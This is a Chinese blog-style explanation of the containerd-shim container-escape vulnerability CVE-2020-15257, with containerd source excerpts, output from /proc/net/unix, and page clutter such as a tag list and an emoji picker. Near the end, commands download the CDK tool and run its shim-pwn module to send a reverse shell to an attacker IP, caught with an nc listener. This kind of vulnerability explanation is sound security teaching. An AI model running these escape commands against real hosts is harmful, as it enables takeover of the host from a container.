相关文章推荐
at 1 awk 1 bypass 1 CentOs 3 chrony 2 crontab 1 csrf 1 DDOS攻击 1 Docker 1 firewall 1 firewalld 0 html 3 http 1 iframe 1 iptables 3 javascript 1 kali 1 Linux 1 mail 1 nginx 6 NTP 1 php 1 php-fpm 1 php伪协议 3 SecureCRT 1 sftp 1 shell 2 sql注入 6 ssh 3 ssl 1 SSRF 1 swk 0 WebSehll 2 webshell 3 WEB服务器 1 web网安 2 web网安 php 0 WWW 1 XSS 7 yum 1 例行性工作 1 免密登录 1 基线检查 1 安全 1 宽字节注入 1 密钥登陆 2 提权 1 数据包 0 数据包 ,wireshark , 1 数据包, 0 数据包,wireshark, 0 文件上传 2 文件包含漏洞 3 木马 1 正则回溯 1 测试 0 绕过 1 绕过姿势 1 负载均衡 1 防御软件 1 防御软件 企业级防护设备 0 防火墙 1
136 func (b *bundle) shimAddress(namespace  string) string {
137     d := sha256.Sum256([]byte(filepath.Join(namespace,  b.id)))
138     return  filepath.Join(string(filepath.Separator), "containerd-shim",  fmt.Sprintf("%x.sock", d))
139 }

https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/client/client.go#L217

217 func newSocket(address string)  (*net.UnixListener, error) {
218     if len(address) > 106 {
219         return nil, errors.Errorf("%q:  unix socket path too long (> 106)", address)
220     }
221     l, err := net.Listen("unix",  "\x00"+address)
222     if err != nil {
223         return nil, errors.Wrapf(err,  "failed to listen to abstract unix socket %q", address)
224     }
226     return l.(*net.UnixListener), nil
227 }

注意221行中,address前面加上了一个“\x00”,这个就表示抽象名字空间路径的Unix域套接字。

containerd传递Unix域套接字文件描述符给containerd-shim。containerd-shim在正式启动之后,会基于父进程(也就是containerd)传递的Unix域套接字文件描述符,建立gRPC服务,对外暴露一些API用于container、task的控制:
https://github.com/containerd/containerd/blob/v1.4.2/runtime/v1/shim/v1/shim.proto#L18

service  Shim {
    // State returns shim and task state  information.
    rpc State(StateRequest) returns  (StateResponse);
    rpc Create(CreateTaskRequest) returns  (CreateTaskResponse);
    rpc Start(StartRequest) returns  (StartResponse);
    rpc Delete(google.protobuf.Empty) returns  (DeleteResponse);
    rpc DeleteProcess(DeleteProcessRequest)  returns (DeleteResponse);
    rpc ListPids(ListPidsRequest) returns  (ListPidsResponse);
    rpc Pause(google.protobuf.Empty) returns  (google.protobuf.Empty);
    rpc Resume(google.protobuf.Empty) returns  (google.protobuf.Empty);
    rpc Checkpoint(CheckpointTaskRequest)  returns (google.protobuf.Empty);
    rpc Kill(KillRequest) returns  (google.protobuf.Empty);
    rpc Exec(ExecProcessRequest) returns  (google.protobuf.Empty);
    rpc ResizePty(ResizePtyRequest) returns  (google.protobuf.Empty);
    rpc CloseIO(CloseIORequest) returns  (google.protobuf.Empty);
    // ShimInfo returns information about the  shim.
    rpc ShimInfo(google.protobuf.Empty)  returns (ShimInfoResponse);
    rpc Update(UpdateTaskRequest) returns  (google.protobuf.Empty);
    rpc Wait(WaitRequest) returns (WaitResponse);

此时,containerd-shim做为server向外提供服务,containerd做为client,调用containerd-shim提供的API实现对容器的间接管理。

抽象Unix域套接字没有权限限制,所以只能靠连接进程的UID、GID做访问控制,限定了只能是root(UID=0,GID=0)用户才能连接成功。
https://github.com/containerd/containerd/blob/v1.4.2/vendor/github.com/containerd/ttrpc/unixcreds_linux.go#L80

80  // UnixSocketRequireSameUser resolves the  current effective unix user and returns a
81  // UnixCredentialsFunc that will validate  incoming unix connections against the
82  // current credentials.
83  //
84  // This is useful when using abstract  sockets that are accessible by all users.
85  func UnixSocketRequireSameUser()  UnixCredentialsFunc {
86      euid, egid := os.Geteuid(), os.Getegid()
87      return UnixSocketRequireUidGid(euid,  egid)
88  }

通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息。

在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息,如下所示:

[root@centos  ~]# docker run -ti --rm busybox
  / # cat /proc/net/unix
  Num       RefCount  Protocol Flags    Type St Inode Path

但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix文件,显示的就是真实主机中的信息,如下所示:

[root@centos  ~]# docker run -ti --rm --network=host  busybox
  / # cat /proc/net/unix
  Num       RefCount  Protocol Flags    Type St Inode Path
  ......................................................................................
  ffff8fccfce39980: 00000003 00000000 00000000  0001 03 19728
  ffff8fccfce35940: 00000003 00000000 00000000  0001 03 19713
  ffff8fccdc4dd940: 00000003 00000000 00000000  0001 03 30927
  ffff8fccfce41100: 00000003 00000000 00000000  0001 03 19756
  ffff8fccf6003fc0: 00000003 00000000 00000000  0001 03 15925
  ......................................................................................
  ffff8fccdc590cc0:
 00000003 00000000 00000000  0001 03 39217 
 @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock
  ......................................................................................
  ffff8fccdc4df2c0: 00000003 00000000 00000000  0001 03 28826 /run/containerd/containerd.sock
  ......................................................................................
  ffff8fccdc4dcc80: 00000003 00000000 00000000  0001 03 39197 /var/run/docker.sock
  ......................................................................................

1)/var/run/docker.sock:Docker Daemon监听的Unix域套接字,用于Docker client之间通信;

2)/run/containerd/containerd.sock:containerd监听的Unix域套接字,Docker Daemon、ctr可以通过它和containerd通信;

3)@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock

这个就是上文所述的,containerd-shim监听的Unix域套接字,containerd通过它和containerd-shim通信,控制管理容器。

/var/run/docker.sock/run/containerd/containerd.sock这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享mnt命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock/run/containerd/containerd.sock这样的路径连接对应的Unix域套接字。


但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字不一样,它没有依靠mnt命名空间做隔离,而是依靠网络命名空间做隔离。

也就是说,host模式下,容器共享了主机的网络命名空间,也就能够去连接@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字。


而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。


在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

Docker逃逸 CVE-2020-15257
wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
tar -zxvf cdk_v0.1.6_release.tar.gz 
./cdk_linux_amd64 run shim-pwn [攻击机ip] [监听端口]
./cdk_linux_amd64 run shim-pwn 192.168.232.129 1337

方便复现漏洞,直接把POC复制到docker中

[root@localhost ~]# nc -lvvp 1337
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!

 
推荐文章